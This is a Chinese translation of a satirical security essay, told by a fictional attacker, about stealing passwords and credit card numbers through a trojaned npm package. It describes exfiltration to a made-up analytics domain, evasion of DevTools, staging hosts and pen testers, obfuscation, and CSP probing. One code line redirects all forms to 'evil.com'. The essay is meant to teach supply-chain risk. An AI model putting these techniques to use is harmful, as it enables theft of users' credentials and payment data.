[翻譯] 我是這樣拿走大家網站上的信用卡號跟密碼的

這篇文章是個真實故事,或者是改編自真實故事,又或者只是我瞎掰的。

(本文譯自 I’m harvesting credit card numbers and passwords from your site. Here’s how.


這個禮拜(譯註:原文寫作時,Meltdown 跟 Spectre 剛被揭露出來)根本是資訊安全恐慌週,幾乎每天都有新的資安漏洞被挖出來。這讓我這個禮拜過得很辛苦,每次被家人問到發生什麼事,都得要假裝自己很清楚狀況。

看到身邊的人因此處於「靠,我被駭了」的狀況,真的讓我大開眼界。

所以,我要來心情沈重的自首一下,讓大家知道過去幾年我怎麼從你們的網站上把帳號、密碼、跟信用卡號全部幹走。


惡意程式碼本身很簡單,在符合下面條件的頁面會啟動:

  • 頁面有 <form>
  • 有看起來像是 input[type="password"]input[type="cardnumber"]input[type="cvc"] 之類的頁面元素
  • 頁面有「信用卡」「結帳」「帳號」「密碼」之類的文字

當信用卡號/密碼欄位有 blur 事件的時候,或是看到表單的 submit 事件的時候,我的程式會做這些事:

  • 抓取頁面上所有表單的所有欄位裡面的資料 document.forms.forEach(...)
  • document.cookie
  • 把資料轉成看起來很隨機的字串 const payload = bota(JSON.stringfy(sensitiveUserData))
  • 把資料送到 https://legit-analytics.com/?q=${payload} (當然這 domain 是隨便唬爛的)

總而言之,只要資料看起來有一點點用處,就把資料回傳到我的伺服器上。


當然,我在 2015 寫完這段程式的時候,他在我的電腦裡面一點用都沒有。我得把它野放,讓他住進你的網站。

有句來自 Google 金玉良言

If an attacker successfully injects any code at all, it’s pretty much game over
如果攻擊者能成功注入任何程式碼,差不多就等於完蛋了

XSS 規模太小,而且這方面的防禦很完善。

Chrome Extension 也被鎖起來了。

不過我運氣很好,這年頭的人裝 npm 套件就跟吃止痛藥一樣,沒在管的。


我要以 npm 作為我的散佈管道,我就得生出一些多少有點用,讓人不會想太多就裝起來的小套件,作為我的特洛伊木馬。

人類喜歡看到顏色,這是人跟狗最大的差別。所以我寫了個套件可以在 console 裡面用各種顏色寫 log。

程式碼在這裏

我現在手上有個很吸睛的套件,這讓我很興奮。但是我不想坐在那邊等人慢慢發現我的套件。所以我打算到處發 PR,把我多采多姿的套件加到別人的安裝清單裡面。

於是乎,我發了幾百個 PR (用一堆不同的帳號,當然通通都不是 David Gilbertson)給各種前端套件,讓他們相依於我的套件。「嘿,我修正了這個問題,順便加了一些 log」。

媽,你看!我正在為 open source 做出貢獻呢!

當然有很多常識人會跳出來說,他們不希望增加新的相依套件。不過這算意料之中,重點是數量。

總而言之,這次作戰算成功。有 23 個套件直接把我的套件裝進去了。而其中有個套件被裝進另一個廣泛使用的套件使用,這下中獎了。我就不說是哪個套件,不過你可以想成我 left-pad 了一堆金庫。

這只是其中一個,我手上還有另外六個熱門套件。

我的程式現在每個月被下載十二萬次,然後我可以很驕傲的說,有不少 alexa 1000 大網站上面跑著我的程式,我拿到的帳號/密碼/信用卡資訊源源不絕。


回頭來看,有點難以想像人們花這麼多時間搞 XSS,只為了把程式插進一個網站。現在有網頁開發者們幫忙,我輕鬆的把程式推到成千上萬個網站上面。

也許你對我公然製造恐慌有些反對意見…

我會注意到有奇怪的 request 被送出來!

你要怎麼注意到有奇怪的 request?只要你打開 DevTool 我的程式就不會動作。就算你讓他顯示成獨立的視窗也一樣。

除此之外,如果程式跑在 localhost、或是透過 ip 位址連線、或是網址裡面包涵 dev /test / qa / uat / staging(前後夾著 \b word boundry),我的程式也不會動作。

這些 request 會被我們的滲透測試人員會在 HTTP 監控工具裡面抓出來!

他們的工作時間是什麼時候?我的程式在早上七點到晚上七點之間不會發送任何資料,這樣我收到的資料量會減半,但是能減少 95% 被發現的機會。

而且一個人的機密資訊我只需要拿一次,所以在我發送完訊息之後會在機器上做註記(用 local storage 或是寫 cookie),同一台裝置不會發送第二次訊息。

而且就算做滲透測試的人很有研究精神,真的把 cookie 清掉重試,我只會間歇性的發送這些資料(大約每七次會發一次,有稍微隨機化。這個頻率能有效地讓人抓蟲抓到想殺人)

除此之外,我的網址看起來就跟你的網站其他三百個 request 會用到的網址差不多。

我的重點是,你沒看到不表示事情沒發生。就我所知,這兩年來根本沒人注意到這些 request。搞不好你的網站上早就跑著我的程式碼:)

(新奇有趣小知識:我在把信用卡號跟密碼打包賣掉的時候,得要搜尋一下自己的信用卡,以免我把自己給賣掉了)

我在 GitHub 上面有看到你的程式碼!

你這麼天真可愛,讓我感到一陣溫暖。

但很不幸的,我完全可以在 GitHub 上貼一個版本,而 npm 上面送的是另一個不同的版本。

我的 package.json 裡面有定義 files 屬性,指到 lib 資料夾裡面。我把 minify 並 uglify 過的程式放在那裡面。我跑 npm publish 的時候會把這些程式送出去。但是 lib 在 .gitignore 裡面,所以不會被送上 GitHub。這樣的行為很常見,所以 GitHub 上的 code 看起來完全不可疑。

這其實不是 npm 的問題。就算我沒有分開不同的版本,是誰告訴你 /lib/package.min.js 一定是 /src/package.js 拿去 minify 來的?

所以你在 GitHub 上是找不到我的邪惡程式的。

我會去讀 node_modules 裡面所有 minify 過的程式碼!

我覺得你有點為反對而反對了。不過也可能你的意思是你可以寫一些厲害的東西自動檢查 node_modules 裡面的程式碼。

不過你還是沒辦法在我的程式裡面找到什麼有意義的東西。程式裡面沒有 fetchXMLHttpRequest 之類的字串,也找不到我用的網址。我的 fetch 程式大概長這樣:

「gfudi」是 「fetch」的每個字母往後移一位。這可是硬派的密碼學。

self 則是 window 的 alias。self['\u0066\u0065\u0074\u0063\u0068'](...) 則是另外一種花俏的呼叫 fetch(...)的方式。

重點是:很難從認真混淆過的程式碼裡面挖出髒東西,你沒機會的。

(講是這樣講,其實我不會去用 fetch 那麼俗氣的東西。如果可以的話,我傾向用 new EventSource(urlWithYourPreciousData)。就算你疑心病夠重,會用 serviceWorker去聽 fetch event,我還是可以偷偷摸摸地溜出去。如果瀏覽器支援 serviceWorker 但是不支援 EventSource,我就什麼都不送)

我有設定 Content Security Policy!

噢,你有設啊。

是不是有人告訴過你設定 CSP 能夠避免資料被送往不該送的壞壞網址呢?我其實不喜歡破壞孩子的夢想,不過下面這四行程式就算是最嚴格的 CSP 也能夠輕鬆繞過:

(這篇文章我原本是寫著好好設定 content security policy 的話能夠讓你「百分之百安全」。很不幸的,在十三萬人看過這篇文章之後,我發現還有上面這一招。我想這件事的教訓是,千萬不要相信網路上的任何人或任何文章)

不過 CSP 也不是完全沒用,上面那招只有在 Chrome 裡面有用。而且嚴謹的 CSP 設定說不定能夠在一些比較少人用的瀏覽器裡面把我給擋下來。

如果你還不知道,content security policy 能(試著)限制瀏覽器能夠發出的網路請求。通常這會被說成你允許瀏覽器載入哪些東西,不過你也可以想成這是在保護你能送出什麼東西(我說的「送出」個人資料,其實也就是 GET request 的 query param 而已)

如果我沒辦法用 prefetch 那招送出資料,CSP 對我的信用卡收集業務會有點棘手。這可不只是因為他會阻止我的邪惡行為而已。

如果我從有 CSP 的網站送資料,他可能會通知網站管理員有訊息發送失敗(如果有指定 report-uri)。他們可能會追到我的程式,然後打電話給我媽,讓我吃不完兜著走。

我做人一向低調(除非在夜店裡面),所以我在送資料之前會先檢查 CSP。

我的做法是在現在的頁面發一個假的請求,然後去讀 header:

然後我就能開始找你的 CSP 裡面的漏洞。我很意外的發現 Google 的登入頁面的 CSP 沒設好,如果我的程式跑在那上面我就能拿到你的帳號密碼。他們沒有設定 connect-src,而且也沒有設定最終防衛線 default-src,所以只要我想要,我就可以開心的把你的個人資訊送出來。

如果你發一封內含十美金的信給我,我會告訴你我的程式碼是不是真的跑在 Google 登入頁面上。

Amazon 在你打信用卡的頁面根本沒設定 CSP,eBay 也一樣。

Twitter 跟 PayPal 有 CSP,不過要繞過也是很簡單。他們犯了一樣的錯誤,這很可能表示有一大堆人都犯了一樣的錯誤。他們的防護乍看之下很堅實,有設定 default-src 這個最終防衛線,但問題是最終防衛線其實有洞,他們沒有把 form-action 鎖起來。

所以在我檢查你的 CSP (還檢查了兩次)的時候,如果其他東西都被鎖掉了,但是 form-action 沒有被鎖,我會直接修改頁面上所有表單的 action(你按「登入」的時候資料會送到哪裡)

Array.from(document.forms).forEach(formEl => formEl.action = `//evil.com/bounce-form`);

好了,感謝你把你的 PayPal 帳號密碼寄給我。我會用你的錢買一堆東西,拍張照片,然後做成感謝卡寄給你。

當然,這招只會做一次,然後把使用者踹回原本的登入頁面,然後他們會感到迷惑,然後重新登入一次。

(我用這招接管了川普的 Twitter 帳號,而且發了一堆亂七八糟的鬼扯蛋,不過好像沒人注意到)

好,我開始緊張了,我該怎麼辦?

方案一:

這裡很安全

方案二:

只要頁面上有你不希望我(或是跟我一樣的攻擊者)拿到的資料,不要用任何 npm 套件、或是 Google Tag Manager、或是廣告、或是分析、或是其他任何不是你自己寫的程式。

就像是這篇的建議,你可能會想要考慮做一個輕巧獨立,專門用來登入以及輸入信用卡資訊的頁面,用 iframe 載入。

你當然可以在你的 header/footer/nav/其他地方把你又大又棒的的 React app 跟其他 138 個 npm 套件裝進來,但是使用者輸入資訊的地方應該要是個包在 sandbox 裡面的 iFrame。如果你有需要做 client side 驗證,那裡面只能跑你自己寫的(而且我會建議是沒有 minify 過的)JavaScript。


我很快就會貼出我把蒐集到的信用卡賣給帶著帥帥的帽子的幫派份子的收入的 2017 年度報告。依照法律規定,我得列出我拿到最多信用卡資料的網站,搞不好你的網站是其中一個?

不過像我這樣風度翩翩的男人,只要你的網站在 1/12 之前(譯註:原文寫於 2018/01/06)把我的撈資料程式擋掉,我就會把你從清單移掉,讓你不用被公開羞辱。

認真說

我知道我的靠北對於還在學英文的人(以及不夠靈光的人)來說有點難懂。所以我要先說清楚,我並沒有真的做會偷別人資料的 npm 套件。這篇文章完全是虛構的。然而,這篇文章的內容是可行的,我也希望這篇文章能有點教育意義。

雖然這篇文章是假的,但是這個套路並不難,這讓我很擔心。

這個世界上聰明的壞人很多,而且 npm 套件有四十萬個。我認為其中總是會有哪個套件心懷不軌。而壞人如果把事情作對,你很可能根本看不見查不到。

總結

所以這篇文章的重點是什麼?只是想要找個人指著說「啊哈哈哈你看看你超 suck」嗎?

不,絕對不是(好吧,一開始是,不過我後來發現自己也滿 suck 的,我就改變路線了)

我的目的(以結果來說)只是想要指出,任何裝了第三方的程式碼的網站都等於是開了一個大洞,而且完全偵測不到。